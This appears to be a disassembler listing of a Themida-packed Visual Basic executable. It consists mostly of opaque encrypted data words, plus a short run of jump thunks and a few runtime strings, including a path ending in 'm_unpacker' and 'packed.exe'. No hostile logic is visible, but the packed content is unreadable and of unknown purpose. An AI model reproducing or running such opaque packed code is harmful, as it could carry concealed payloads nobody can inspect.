		dd 5CFB9460h, 0B7800003h, 151988B8h, 0F7F5068Ah, 0BDD740Dh
		dd 15AE9B3Ch, 0C28EFE9Dh, 35BD5621h, 0E982706Ch, 0F41D508Ch
		dd 7C1323F6h, 612AA25Dh, 0F55341C8h, 0CA7C0AF7h, 2B875A6Ah
		dd 35B75ED6h, 43DCA849h, 0C30DF2ABh, 0D6327F46h, 0EA8371F1h
		dd 69460363h, 7D1F3A9h,	0CF11B8FAh, 0DA7342E3h,	0FC860CCh
		dd 0C1AB39Dh, 9E3700A0h, 0AF2DE6F7h, 0AA229C2h,	0C351AB08h
		dd 0CB32BCB5h, 58157A63h, 0D2327A1Ch, 0F83B64EBh, 0DCF90297h
		dd 0BC233641h, 28C22F87h, 19E585C5h, 1C0BC980h,	0FC298AB1h
		dd 7219B280h, 3F088883h, 43198861h, 88617C3Dh, 372DA19h
		dd 0DECC6551h, 8D56DE56h, 9A88210Fh, 2EEB7B12h,	264EA4D1h
		dd 7F1656DFh, 3313A16Dh, 425BA3CCh, 0BE791890h,	0E36A03CEh
		dd 0C39C3501h, 48370080h, 2B951988h, 9037D0BBh,	396F9D2h
		dd 2EA4DD76h, 44D646B3h, 0F0508DEAh, 47D37B59h,	2E1C62C6h
		dd 39039795h, 1715AE98h, 4F05238Bh, 9349E7E0h, 54EDD6C6h
		dd 0E8F7B0BDh, 0E66D06F4h, 0AC993A06h, 0DDC29B13h, 4C543E0Eh
		dd 8756FD81h, 4EE7D0CCh, 0B85925C7h, 0A83432CBh, 98655740h
		dd 0D19A16FFh, 2FCE45C8h, 83600EC5h, 4D533D09h,	0CE45C88Ch
		dd 0FCEA82EAh, 3A07D970h, 1715AE99h, 98311B8Bh,	6C554710h
		dd 0C64DD5D3h, 0EAD5CEA8h, 0B1E01EA8h, 4C19B083h, 26108C53h
		dd 9DDE308Dh, 0A192642Eh, 800EFAEAh, 582B5101h,	520BA3AFh
		dd 92B1F06Dh, 6505CEC8h, 8D4C039Ch, 56EFDAD2h, 0C0612DBFh
		dd 0E64E5CF5h, 0D2CE954Eh, 0CE45D909h, 64D36C56h, 3C1555FCh
		dd 66DCF053h, 9E355640h, 18DEh,	0DCA72500h, 16BD2543h
		dd 0E50AF58Ah, 44D663B6h, 912A1595h, 27800793h,	0BD563E69h
		dd 0B64F3BAFh, 0C05924B8h, 0B04932A2h, 0BA5322B2h, 0B04938ACh
		dd 0BC5522B2h, 0B7503EAEh, 0B64F39A9h, 8951F7B8h, 4C181E1h
		dd 83000000h, 0C8704E9h, 0C895C24h, 4B506824h, 0C890000h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 52241C89h
		dd 0B82F1FBAh, 6FBF5750h, 0F778F74Fh, 0CBF781D7h, 130413Fh
		dd 0D1895FFAh, 4EC815Ah, 89000000h, 4832424h, 835B0424h
		dd 148904ECh, 89CA8924h, 8B5A0853h, 8950241Ch, 405E0h
		dd 0C0830000h, 24048704h, 2434FF5Ch, 4C48359h, 0F9FD6CE9h
		dd 38D761FFh, 71A32C26h, 2B8E76Eh, 30801DFh, 2AE0FFC5h
		dd 58591641h, 0E4BF22Fh, 0E91F254Fh, 17Ch, 145A2482h, 7C8360DDh
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h, 64656B63h
		dd 6578652Eh, 3Bh dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_623C52
; ---------------------------------------------------------------------------
		push	801E4EFh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801E70Eh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801E926h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801EAE4h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801EB3Bh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801ECEEh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801ED6Ch
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801EDDAh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8020188h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	80202BBh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8020483h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8020651h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	80206FCh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	80208B5h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8020A1Ch
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8020B7Bh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8021B57h


loc_61FCD2:				; CODE XREF: Themida_:0061FCEBj
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8021D80h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8021EE1h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		jmp	short loc_61FCD2
; ---------------------------------------------------------------------------
		db 5Bh,	0A7h, 0C7h
		dd 0DD21F10Bh, 0C2BE54CEh, 0D717EB11h, 7CD45FFh, 0AB5975DFh
		dd 83BD1757h, 0DC666F8Fh, 758F4A26h, 0E206BA9Dh, 0C25C42C3h
		dd 425E3A1Ch, 5C438F96h, 0ACDBE8C2h, 4AAE12E8h,	0CA5E241Bh
		dd 0F5755F74h, 219F9626h, 6F6A9601h, 23B05482h,	0ED16C19Dh
		dd 0FB7B54CAh, 4B3C87EDh, 6D6905B1h, 43E99D7h, 20602700h
		dd 649C38B5h, 0F4BC07A0h, 0D2C57F58h, 0FAD47838h, 7621AA4Ah
		dd 6172C694h, 0F2F1D5DBh, 4BCA5D51h, 7F634D76h,	0D257692Dh
		dd 0B94B86EAh, 0C10E723Bh, 9FE8C143h, 0F113BBA3h, 16C2DEE2h
		dd 0C2633B0Fh, 0D02C5B68h, 0B44C88E4h, 68107750h, 0C2633B35h
		dd 2ACA7A54h, 8084804Eh, 0B4A138B1h, 0AE5E6652h, 115281A1h
		dd 0CD140BB7h, 646DC263h, 3DC7116Fh, 0BCA9EEB7h, 0B2951D1Dh
		dd 49D3130Fh, 3425682Fh, 88026F7Ah, 0CE08D5E4h,	0DEF5BE36h
		dd 669E3A26h, 257E675Dh, 0D2A69623h, 9B32C5h, 4E560000h
		dd 69E3D9F0h, 0A272251Dh, 0E4606E12h, 109CFB3h,	3EFE6285h
		dd 0BD03D003h, 0B46E7DE1h, 68107750h, 0D2581B6Ah, 88973B5Fh
		dd 0E1C263B1h, 0B10A19BDh, 4E63C263h, 9B281285h, 649E3915h
		dd 0E5524E70h, 61261D66h, 132C2FA3h, 834BC264h,	7E578381h
		dd 77E40C4h, 0AF8F67E4h, 3591001Fh, 0A7BE269Dh,	6B0BB958h
		dd 0F9EDD7A5h, 6005AAD0h, 5E7D682Fh, 6F4FBAABh,	65720E02h
		dd 0F847B8DFh, 69000001h, 5E82A145h, 0EDD9C263h, 0C2635DF6h
		dd 7340824Fh, 0BAA50161h, 6126301Ch, 0FD07D23Bh, 43E97B3h
		dd 854DE993h, 0E0BB203Ah, 0F6EDD940h, 4FCA5D9Dh, 836F5182h
		dd 0CA5D9E5Ch, 5D9BECB5h, 9321D471h, 0C89A5200h, 3D99B5FBh
		dd 18048007h, 0A31E9088h, 6FAA1A14h, 0FED799D5h, 0A0E7C044h
		dd 0E5CB7560h, 52B24889h, 948B3779h, 0EDCA5DBBh, 2D49B3E4h
		dd 7F854DA2h, 0A4506C54h, 0CA5DBB7Dh, 50BACDD6h, 3FC10C70h
		dd 0D59BECC5h, 0CA5DBF16h, 595681DDh, 0F60EC57Fh, 834E2A5Dh
		dd 0B65B8A6Eh, 1FB4CA5Dh, 0B7225EB4h, 5C64983Ah, 5DB66978h
		dd 0E2F1C2CAh, 0AF5582DEh, 710B7C55h, 0E03CFDC5h, 0B867C8CDh
		dd 1D1DBBCFh, 453C25EBh, 4080536Dh, 8469785Ch, 0F1C2CA5Dh
		dd 0AEF69AA6h, 4CEDC8BAh, 0A1A8FDCBh, 0A19C9939h, 0BC44A232h
		dd 0BA0B467Fh, 0A92523CDh, 462AD257h, 3210778Dh, 916C56A2h
		dd 774C34F4h, 8C861539h, 5A035338h, 98E28C4h, 691DA589h
		dd 5480BAA9h, 3305FD8Ah, 0AB49FBD3h, 15EDD823h,	82513FF1h
		dd 0C60B6F51h, 91A6BD29h, 0B2FFC263h, 1ECA7621h, 0CA60D0DDh
		dd 46763888h, 9ABD0A7Dh, 0AA4AFAD6h, 0A4CC7621h, 0F40EC32Eh
		dd 378C25DFh, 4D791579h, 0BA671B56h, 837522AFh,	53F7B94Bh
		dd 0A52EC678h, 0B49898F2h, 629EE91Bh, 0B0527D74h, 59487B54h
		dd 0CEAB9C78h, 0A9D6035Dh, 0E300003Bh, 0BFBF53EDh, 0D519E913h
		dd 0BAB64CC6h, 4F2FE319h, 0BF857D87h, 0F311BD97h, 4BF5DF1Fh
		dd 0E41EB7B7h, 7D87522Eh, 0DAFEC285h, 0C25C3FCBh, 12324224h
		dd 0BC03C1C2h, 692E3920h, 0A532BF17h, 448C349Fh, 28CBA3CCh
		dd 0A402150Dh, 0E24A7262h, 5757B3E4h, 50908F33h, 2CA7CA5Dh
		dd 7423B012h, 40A44984h, 0CA5D5021h, 169A297Ah,	0B9F988Eh
		dd 55424BD6h, 7B55F9B5h, 12DEBEC9h, 0B2E55F6Eh,	25AE0AD0h
		dd 700CB41Fh, 0F6E2DE66h, 0CA5E23EFh, 2C0C7B48h, 5859CAC8h
		dd 0F7DBBFD2h, 0C263EEE8h, 1B277041h, 5B689A33h, 27DDF955h
		dd 54F8A460h, 37C1C67Eh, 0C263EF24h, 7A7AB443h,	15C1705Eh
		dd 0C263EF0Eh, 8B695A67h, 83D00B9Ah, 2121B883h,	6EE01591h
		dd 7B0CD95Ah, 6FC6DB8Ah, 0E511AD02h, 0C263D4BEh, 7AFD8A17h
		dd 19Fh, 636E127Ah, 4B7723E1h, 0CA5E2454h, 0E8AF24ADh
		dd 28043D98h, 3207A781h, 7418982Bh, 5D545150h, 9C6AACAh
		dd 0E0FCC8FBh, 0A9796F44h, 16027A0Dh, 9619238Eh, 5E29B3C7h
		dd 923DB422h, 2DA16370h, 0CA5DBA7Eh, 95AF2945h,	2ADBF602h
		dd 0A9C3C898h, 922EA5D4h, 0A064E0EEh, 53E9E08h,	5C675DE7h
		dd 0BBDFDF2Bh, 5D590817h, 845061CAh, 0B9B28F33h, 0B4C4D316h
		dd 972CE819h, 454069D3h, 0F28E328Eh, 8B9A5EE6h,	0A2CA5D96h
		dd 5CF50F35h, 0C23A4D56h, 15BE1AA0h, 0FE25D1EFh, 57CA5D95h
		dd 8B37794Ah, 0D257B4BDh, 13319EC2h, 932F58F1h,	7898C72Bh
		dd 0E0F1C263h, 3B1F1FF3h, 69785C91h, 0C2C26378h, 8922E2F1h
		dd 0DA2E0CFEh, 347C47FDh, 6E86BE18h, 0E206B2E5h, 0CA60B488h
		dd 0FDCF757h, 663ABCE3h, 378C15BAh, 0E1DFF4BDh,	14053BD1h
		dd 0D20AC7h, 0EAFDC7FCh, 3A2C7B74h, 0CDF1CFB8h,	93456605h
		dd 56CF053Fh, 1B5D2AC7h, 75AF3EB3h, 0D4FE625Eh,	3AB6730h
		dd 33D16B67h, 0C30BED9Ah, 999BCA2Eh, 1BB2BA66h,	684AE321h
		dd 0E39685Bh, 0C7CEAC1Eh, 398A906Dh, 0CC40000h,	0F0E21EF4h
		dd 23BAB64Ch, 0FCD519E9h, 1AB4BC46h, 42E18EAh, 947E8650h
		dd 32E0606Ch, 8F83814Eh, 28DA646Fh, 0A8B71BA1h,	1C25C3Dh
		dd 4D28F63h, 379CC000h,	30107A0Dh, 2439688Ch, 4192CA5Eh
		dd 42AF2A56h, 0AC586C90h, 0D54B7380h, 78D4DCE7h, 0C7795461h
		dd 0B81CF8FCh, 0CA5DF3A9h, 7522B102h, 98351915h, 0D2F71D6Ah
		dd 4250FE07h, 16BE788Fh, 675C9CFAh, 9C962549h, 3CC8CF58h
		dd 89983C60h, 0E0CA5D40h, 5D3FEDF4h, 357D46CAh,	0F2DD1B6Ch
		dd 0A84C7050h, 0CA5D4079h, 0FC9601D2h, 82BA1834h, 0ACDEA982h
		dd 0E51FBA0Eh, 25AED2EEh, 0CC76611Fh, 73D9FDBBh, 78D25774h
		dd 0BB1B014h, 660AC263h, 0A1E6DD57h, 381911A1h,	0A9850F72h
		dd 23BA961Ah, 41BC7E9h,	5DC262AFh, 0DDB94354h, 0DCAB5181h
		dd 62AF0914h, 94AC28C2h, 0BB758470h, 72697439h,	0D97521E5h
		dd 24AD47FDh, 4FEFEA73h, 669EA02Bh, 1DA65E7Ah, 0F4CA9B6Ah
		dd 0C29E026Eh, 4A85EB11h, 24733CB8h, 19853h, 6E129100h
		dd 8C24E064h, 2911C7A2h, 455281F1h, 79D5AF78h, 0C760A45Eh
		dd 0ECF0CAC0h, 0B3B6C8Ch, 0FA0AC408h, 0DEA231FAh, 1BB450F4h
		dd 40A408A8h, 0CA5DE021h, 625E297Ah, 8EB6223Eh,	0F5DD6F09h
		dd 0F65AD257h, 5E5C2BD9h, 0C010AC55h, 26C618CFh, 995F28C6h
		dd 96FE5C58h, 0ECFB5BDDh, 77F9D232h, 931DA660h,	13E61FB7h
		dd 0C552D60Dh, 48F89F34h, 35CF0864h, 0C2208E62h, 5B67F5C2h
		dd 0A085F2B8h, 766020BFh, 269D36CEh, 2ACEF2CEh,	0E5CE44FBh
		dd 0F2187F54h, 0A02C5068h, 1DCB64A0h, 0E5CE4506h, 2EE8FF5Fh
		dd 0EE922EA5h, 9A262E2h, 6316C27Eh, 14EDCC7Fh, 0F4E0606Ch
		dd 6C28EF89h, 7F4192D8h, 3A4DF7DBh, 5A7E227Eh, 0DDCF6F4Bh
		dd 78880FA4h, 0CD27A45Dh, 0DFD4B66h, 0E1AAFAB6h, 7D790C5Ch
		dd 4EF2A0E7h, 3D67BA86h, 0FD8ADD7Ah, 0F7DBD0FBh, 0F22B764Dh
		dd 0E3AB4374h, 37725481h, 24AC0000h, 0C80AE61Ch, 0BA2DE34h
		dd 0D4FD0111h, 329CE42Eh, 2C560012h, 6C96AE28h,	4AB84884h
		dd 679BA926h, 60B24C87h, 809F4379h, 0D9C25C3Bh,	0C212777Bh
		dd 0C9F79EFCh, 3E3A4DB9h, 93B11E93h, 0A460E2EDh, 94F8B80Bh
		dd 5E173130h, 4E398ACAh, 68660AB6h, 88F18DCh, 0F6E03802h
		dd 733B854Eh, 8E987FFBh, 0E15C179h, 67CA5D61h, 221E695Ah
		dd 3DF4E27Eh, 5D618A99h, 5CEE3CAh, 976126FFh, 0D2579631h
		dd 756C5838h, 8CC2632Dh, 0B2FFC37Dh, 0D7FB9F21h, 0C2632CC8h
		dd 8B079021h, 0D2AE127Fh, 0F6EDFB01h, 0DCA5E23h, 2E833FC5h
		dd 0F98B5C69h, 24323195h, 368BCA5Eh, 879F3951h,	5E24445Bh
		dd 0BF149DCAh, 0CF755D01h
		dd 42CCF8C8h, 0BFD25839h, 23BA379Bh, 0DADDAE9h,	0A0E05A71h
		dd 5EE70D37h, 0ABE88C75h, 0E8498D08h, 93923652h, 0EC3B3B13h
		dd 0E8C4ECD7h, 0AE48E7D8h, 0DAADB67Bh, 35429816h, 5681DD43h
		dd 3F8048ACh, 0D848B60Bh, 942E596Ah, 0B91D813Fh, 334090AAh
		dd 0D8F9AF03h, 916C1F0Eh, 75AF3E42h, 33D1B68Fh,	5AD4E387h
		dd 8486119Ah, 8C57B6B6h, 735EE97Ah, 0D7FC6060h,	425E5A2Dh
		dd 74F4ED72h, 40EF5150h, 0AB19AA33h, 4146991Ah,	3F37FCB7h
		dd 4CFAB3Bh, 0D1AD8DFAh, 0E9C7FC06h, 1812A9C5h,	8D9440DCh
		dd 0E62B42C3h, 1ECAE6DDh, 2B42C307h, 34445360h,	924C5499h
		dd 8C1381A4h, 6E465D8Bh, 129F2B42h, 0FF9BFFC1h,	426DCCD3h
		dd 4C9C252Bh, 2B426E55h, 6E1948ACh, 61722B42h, 0CB475061h
		dd 9C328A3h, 8C34FDF7h,	426E3968h, 9241922Bh, 0D0490C1Fh
		dd 8A67C95Dh, 35B4h, 0B45EE6EEh, 14FE06CCh, 0AF63DDECh
		dd 0AF802CFh, 0A65CE8E6h, 705EF620h, 96423ED4h,	735CA46Eh
		dd 923D41D1h, 9B7A270h,	5C39C6DDh, 35451FC2h, 0E1636E12h
		dd 0EBE68A23h, 87522E59h, 3BD7A87Eh, 63D4C9C7h,	6D54269h
		dd 0E2CF04CFh, 0BEB4F5C5h, 5DC3B010h, 97000035h, 0EB13FF39h
		dd 0C9A55DE7h, 0E60AF832h, 0C3AB57EDh, 3B09F90Bh, 679D391Bh
		dd 0C779539Bh, 689A333Bh, 0C97B569Ah, 0C6328E39h, 0C25C399Fh
		dd 129E5EF8h, 22E2626Eh, 0D702FE89h, 0C044F8DAh, 0CCD4DCE7h
		dd 8F6F3480h, 81B12380h, 0BE489A16h, 9B770592h,	0AEA14BFh
		dd 4C537F41h, 0A5CA5D9Ah, 0C1976B1Ch, 9A2241A5h, 267BCA5Dh
		dd 9E37139Dh, 0A1EFE065h, 3C87F34Fh, 98A8EFB8h,	0D0F498F4h
		dd 0CA5DC6D1h, 504F992Ah, 0A9CA5DC7h, 352C9818h, 8ECA5DC7h
		dd 8C9E5245h, 0D9D257CCh, 0C21211B5h, 566BC263h, 0E2ED9131h
		dd 0B80BA460h, 0C57F54F8h, 7121663Fh, 428DF1CDh, 0C22938C0h
		dd 5480C263h, 0C263C24Dh, 0C951DA6h, 0AFD86864h, 9C1EF016h
		dd 0C249587Ch, 11A2C263h, 36A2FEC2h, 0C263C22Fh, 6C4C3B88h
		dd 59886C50h, 0B2C263C2h, 50027621h, 0CDCA5DD7h, 6B1C26B1h
		dd 0E2BE02CFh, 69ABEFF6h, 0C7B48BAh, 7EBCF6Dh, 0BA69ABD8h
		dd 81F7A031h, 571264B0h, 8E43A335h, 3D615F74h, 0C0F48A99h
		dd 0C9CEE31Dh, 0CBF793F7h, 1DC0F3D4h, 7DF3A42Dh, 25BB12EFh
		dd 84BC1834h, 8F472713h, 52625E75h, 0C3349259h,	4EB6E11Fh
		dd 5E8A9E3Ch, 15C62A47h, 0C013A0h, 0CDD4009Ch, 2615C629h
		dd 6073894Ah, 25D58674h, 56415301h, 0C46CD7A2h,	0E9EA861Dh
		dd 6F18B153h, 79AEFFD3h, 73B43723h, 603C6060h, 0C8156D74h
		dd 2CAAC60Dh, 9CDCAB18h, 0F010BC31h, 3F8F2FE3h,	70F7ED02h
		dd 55A3F4E8h, 0AC59757Ah, 5EBF8590h, 8381528Ch,	758819AAh
		dd 607B4B02h, 33AAD300h, 0ECE40000h, 10C2BE54h,	0C3DA16ECh
		dd 1CB5B949h, 0FAD41CE6h, 0E40EB84Ah, 34DE6670h, 9280804Ch
		dd 2FE3616Eh, 887A844Fh, 0C8D7FBC1h, 21C25C37h,	6E122F43h
		dd 8D25DF65h, 9E41BED0h, 832D96EBh, 5D86405Fh, 7F0899CAh
		dd 5D85EAF9h, 0B41D41CAh, 6C6F098Eh, 3CA5D96h, 0CA5D85D8h
		dd 5D3B6737h, 0AF81F9E0h, 610D10E8h, 106CCA5Dh,	0EDC63EC6h
		dd 0D1735E9Ah, 0B555B3E0h, 95C222BEh, 332Ch, 2CD66E66h
		dd 8C768E44h, 27DB5564h, 0A2708A47h, 3ED4705Eh,	0E8E66E98h
		dd 0ECAA65Ch, 0EBE40CF6h, 0AC5A959h, 813F0AF8h,	5C374E55h
		dd 0CDCDA7C2h, 0E1636E12h, 0E8E68A23h, 880F985Ch, 7460B882h
		dd 0E19F28CCh, 37794AF0h, 6D87B913h, 0A905B3E4h, 8EF90BC5h
		dd 58370CEAh, 0E3EFC3D2h, 609E7882h, 8702AF24h,	4EC6AF82h
		dd 32BE09F6h, 0D8F80000h, 0C40EF220h, 1FAED240h, 0C011ED25h
		dd 2EA8C83Ah, 385AEC16h, 8092B21Ch, 56AC5480h, 7B87BD1Ah
		dd 5CA65873h, 7CA34F6Dh, 0D5C25C37h, 0C2127B7Fh, 1D1FFE24h
		dd 32D2FEDAh, 0BDCAF9D2h, 0E9EF10BBh, 35AF7E47h, 522E9241h
		dd 9B777D87h, 5D282837h, 0A33081CAh, 24AC88F4h,	92D96E9Ah
		dd 4B2D5AFFh, 0A29C2B80h, 0DCEB8F31h, 0D59D7262h, 0FFB6F938h
		dd 0A399EC98h, 1AC4DB07h, 941DCA5Eh, 0BF7F5A03h, 1AE8F7DBh
		dd 7041CA5Eh, 583FF910h, 95882435h, 0B0147805h,	0CA5E23B1h
		dd 31CEB90Ah, 59h, 61E3EB8Fh, 174A6636h, 76CA5E24h, 0C143F9DAh
		dd 3904DCE8h, 26E14AD3h, 8AB41F61h, 238E4A26h, 0C53F94AEh
		dd 87EF9BECh, 0CAB8F8D3h, 0A1456947h, 0CA01EE82h, 2DAAC6DBh
		dd 28147017h, 7C788844h, 0D593E4B3h, 0F5000031h, 0EE362D99h
		dd 428FCA01h, 40D1E592h, 0A7D9D87h, 4AAE120Ah, 0CA5E241Bh
		dd 48385F74h, 6D74608Dh, 0C6CA5E24h, 0DAEAC6FDh, 0F6CBB300h
		dd 0AB00E379h, 17F008BCh, 0E7D33156h, 3DB74983h, 758FB521h
		dd 6AA0E7DCh, 0A25A78D0h, 0B6FAC962h, 20526DEEh, 5443FE0Dh
		dd 0C0784864h, 879B4730h, 0E260187Fh, 0F7D257CCh, 0D3C47E53h
		dd 0B44E87E7h, 10BDA11Fh, 49E5A5F2h, 0EE99AB25h, 793E3E1Ch
		dd 0CB2C8CB1h, 2387299Ah, 63D7A0BFh, 0DFA8F9C2h, 0AA1BDE1h
		dd 1BF18710h, 20CA5DE1h, 0CD49587Ch, 11A2BA69h,	8EE8BC86h
		dd 0A4E535D5h, 8EF2CE05h, 28D4C341h, 9DC4308Ch,	0F6BA6A13h
		dd 0F9EDAADh, 0ECD811C2h, 0BA6A12F5h, 854E854Eh, 6C735F3Bh
		dd 83BA6A13h, 0ABF8BA74h, 2E922EDCh, 6A139BCAh,	0B8DFF4BAh
		dd 6A131E40h, 0F4DF7BBAh, 7621AA4Ah, 7661488Ah,	0E19F28CCh
		dd 3A764DF7h, 6D87BD16h, 5757B3E4h, 13908F33h, 85E9BA6Ah
		dd 7E09BA48h, 2D995082h, 0BA6A1336h, 7391428Fh,	142EA3C7h
		dd 945D7583h, 6A133130h, 8A398ABAh, 238E4A26h, 5E299A94h
		dd 0E61EBAA6h, 5CE0F20Eh, 3C9F2698h, 0DCE49C0Fh, 0E1D22903h
		dd 11CCBB19h, 41A82ADAh, 0BF886C96h, 6C10AC14h,	8E17DD67h
		dd 69473B6Ah, 413F94BAh, 0C18A6A90h, 18743CD6h,	6947B5ACh
		dd 0D2C50EBAh, 6158A2B3h, 435AF60Ah, 122CA7C9h,	0D12E59F2h
		dd 695h, 4CE4DFEFh, 1A8B999h, 6E128696h, 0FF26D25Fh, 58CA5E23h
		dd 0B37C784Bh, 0BC1C9EE4h, 0EBFADE13h, 44CA5E23h, 0B4A0646Fh
		dd 0E8DCE719h, 8936538Fh, 9818AB54h, 0F540ACF4h, 137B7F6Fh
		dd 95D2EC84h, 0B6FD257h, 0D3873DC7h, 2036386Fh,	0F6F4B3Ch
		dd 2A863DC7h, 3D436286h, 79CC263h, 5FFE4EBDh, 8512065Eh
		dd 923F1BF7h, 0F1E11F68h, 0CF09654Bh, 8A86235h,	5BE654B8h
		dd 0BB13A09Ah, 52763A89h, 0C2641553h, 907017ACh, 0D06A6742h
		dd 0CC289B34h, 0C257E0F0h, 70D7CEFAh, 0A330C263h, 37C81F31h
		dd 3F75A850h, 53F1C263h, 4A26E0F7h, 3B22758Fh, 0D8FCA0A0h
		dd 0C2631EC9h, 4B5A7E22h, 0A4C2631Fh, 0A5D3C40Fh, 0F90BC42Dh
		dd 1FA132FBh, 586C963Bh, 0CEEBB624h, 7D0D7AA1h,	0EAF9DDC1h
		dd 43C26316h, 3EC6126Eh, 8FA73159h, 63173C63h, 0B60D95C2h
		dd 20982700h, 0F4BC07BCh, 3FC57F58h, 7B1F2166h,	0DACB31Fh
		dd 0BC05C263h, 272325CBh, 4C30CA5Dh, 0AE777D87h, 0D9B5D9E9h
		dd 68F2F6EDh, 76824FBAh, 0BA68F36Fh, 0E8C8FBC8h, 24065DD8h
		dd 0CABDF07Fh, 7D884632h, 7277996h, 18982B6Dh, 0C1129F34h
		dd 0E3F0B93Bh, 52517521h, 0ABBA684Ah, 30DAAD16h, 63DDEC90h
		dd 817F08A1h, 0D0705C55h, 0D4F5BD03h, 7615754Fh, 0FF01CBB5h
		dd 8050EC98h, 0AA98A221h, 2683F1DEh, 3707E91Ch,	6C75FB8Ch
		dd 87BA685Bh, 223EB670h, 0B6678DB7h, 3E9FAC2Fh,	9C2412A2h
		dd 1BECFA7Fh, 0DC758FB1h, 26C5A0E7h, 8C4C8E16h,	39ED45BFh
		dd 4DA4324Eh, 5D847081h, 0B6BA690Fh, 0C3EDD6EDh, 0AB152FA7h
		dd 690F1847h, 376071BAh, 5A77D3DBh, 722839A1h, 4A79B4DFh
		dd 1373453Dh, 0E16A8A84h, 0CCECF3DFh, 7C45BA68h, 0C8056947h
		dd 0CDA4BB27h, 0B4FDBA68h, 0E4C8781Fh, 3DB77188h, 274D2374h
		dd 0DCC262DAh, 0C00D14C0h, 8064B26Eh, 0B26EC061h, 0F8C9E9BAh
		dd 0E61EB38Fh, 0E612DFFAh, 0B26EBFBFh, 78388B18h, 94466D28h
		dd 0E8751C16h, 0EF3C8837h, 1428AA33h, 0EA10C1BFh, 0BC56410Ah
		dd 3E9419B4h, 6E65EE06h, 0A1A32E52h, 8ACB31Fh, 0BC05B26Fh
		dd 0E98531CBh, 8D9440E9h, 0E6B26F08h, 450EE6DDh, 8879E52h
		dd 319EB26Fh, 0CA05F113h, 7908BC38h, 4CE8F562h,	85D8470h
		dd 0EEB6B26Fh, 468568D2h, 73FDC6FBh, 4E1A658h, 0D9F955E5h
		dd 3F48E123h, 0BF199641h, 79537F85h, 2FA42DC7h,	0EC941CA4h
		dd 0B7CA4B8Dh, 7D41D1B6h, 0DFF7F0E1h, 7D46DF25h, 97E9AE77h
		dd 0D720023Bh, 0C16C759Bh, 2326AE12h, 98D966F2h, 6B455C88h
		dd 159EB26Eh, 8F2BD9BEh, 1C62E3EBh, 26A4D70Ch, 4C2C5B68h
		dd 0A1A32B86h, 0AFD1D232h, 6FE00CBh, 68835A2Dh,	0BE023A98h
		dd 0F41034A2h, 0E2DE2C5Bh, 780B1ABEh, 7662B26Eh, 0B26E786Fh
		dd 0EAB7FBC8h, 29F9689Dh, 3CB127Ah, 1D8D4C10h, 7DFA8D72h
		dd 1E6h, 0EE28BF9Bh, 4A4A3D16h,	0E4606E12h, 23E9F8DCh
		dd 7142CA5Eh, 49FCDA26h, 15BFB42Ah, 944009EBh, 1CA78B49h
		dd 8F1AB894h, 6D46BE78h, 82159E56h, 55F0DEFAh, 7F594B78h
		dd 27D9F4CFh, 3989279Ch, 86BFB3B6h, 6F0D7A4Ch, 4FB54F83h
		dd 6F95AF23h, 22B84A83h, 900B48A3h, 0BE468CF0h,	431A6D46h
		dd 0B37E58A8h, 5E02100Fh, 6B5869CAh, 667D6945h,	0BFCA5E02h
		dd 49E5A5F2h, 7F6DF679h, 60743F00h, 68638CFh, 0EFF887Eh
		dd 5956D5Fh, 15570h, 21ACD000h,	30103CCh, 0D25B992Ah, 3FDB0AEEh
		dd 9F34CA5Dh, 6E1224F8h, 34F5DF65h, 0BABED56Eh,	0CC07F99Eh
		dd 609D4333h, 66A98B4h,	248C37CDh, 0A1C02488h, 0FACA5D39h
		dd 39203FA9h, 9D37CA5Dh, 45525F63h, 13BFDBB7h, 0CA5D390Ch
		dd 0D7FF5D65h, 80C6AAD0h, 99344453h, 0E8717054h, 0F9CACA5Dh
		dd 804E2ACAh, 79548084h, 2AB92DC7h, 5709A2AFh, 0C4073347h
		dd 89C9FB35h, 81637111h, 5EBF3E7Ch, 0BC1FC6D1h,	0ADB4207Ch
		dd 6CA5E19h, 0EA24B3BDh, 7B705B9Dh, 7C55AF51h, 0CE26DEF4h
		dd 0E2F2CE05h, 789E7CEh, 0C1116FCEh, 0A7F0B93Bh, 154110EBh
		dd 9F520595h, 0B6000000h, 87F7EEDAh, 8350CA5Dh,	0D133D1FDh
		dd 128D8FF8h, 428C656Eh, 5A6942C2h, 0F311BE9Ah,	5D3B7E0h
		dd 0B51E24B1h, 1C43AF0Bh, 75CA5E24h, 415D5B2Ch,	2E92B01Dh
		dd 5E249BCAh, 0B8DFF4CAh, 5830F240h, 9C3A7D2h, 0BE152FA4h
		dd 201A6D46h, 0BE199440h, 1CB54F84h, 696509A7h,	6450ACDBh
		dd 6631CB08h, 64178F92h, 2420AEC2h, 26DEF4E0h, 11C8DDCEh
		dd 745FE5F1h, 33CAA692h, 0A81B29A6h, 4914834Ch,	0EA0EB292h
		dd 0C26416BBh, 15BFE612h, 8B18C264h, 18ED9A27h,	26F8F49h
		dd 1A05Ah, 6E129A00h, 8720E460h, 0D8300A00h, 0E6BF45FFh
		dd 0E7B7D3DDh, 0B0D87333h, 671176D4h, 0D257DD85h, 6B7A5E42h
		dd 0C4C263D7h, 99AA8EFh, 8EC617A7h, 24E01AB7h, 4E7A398Bh
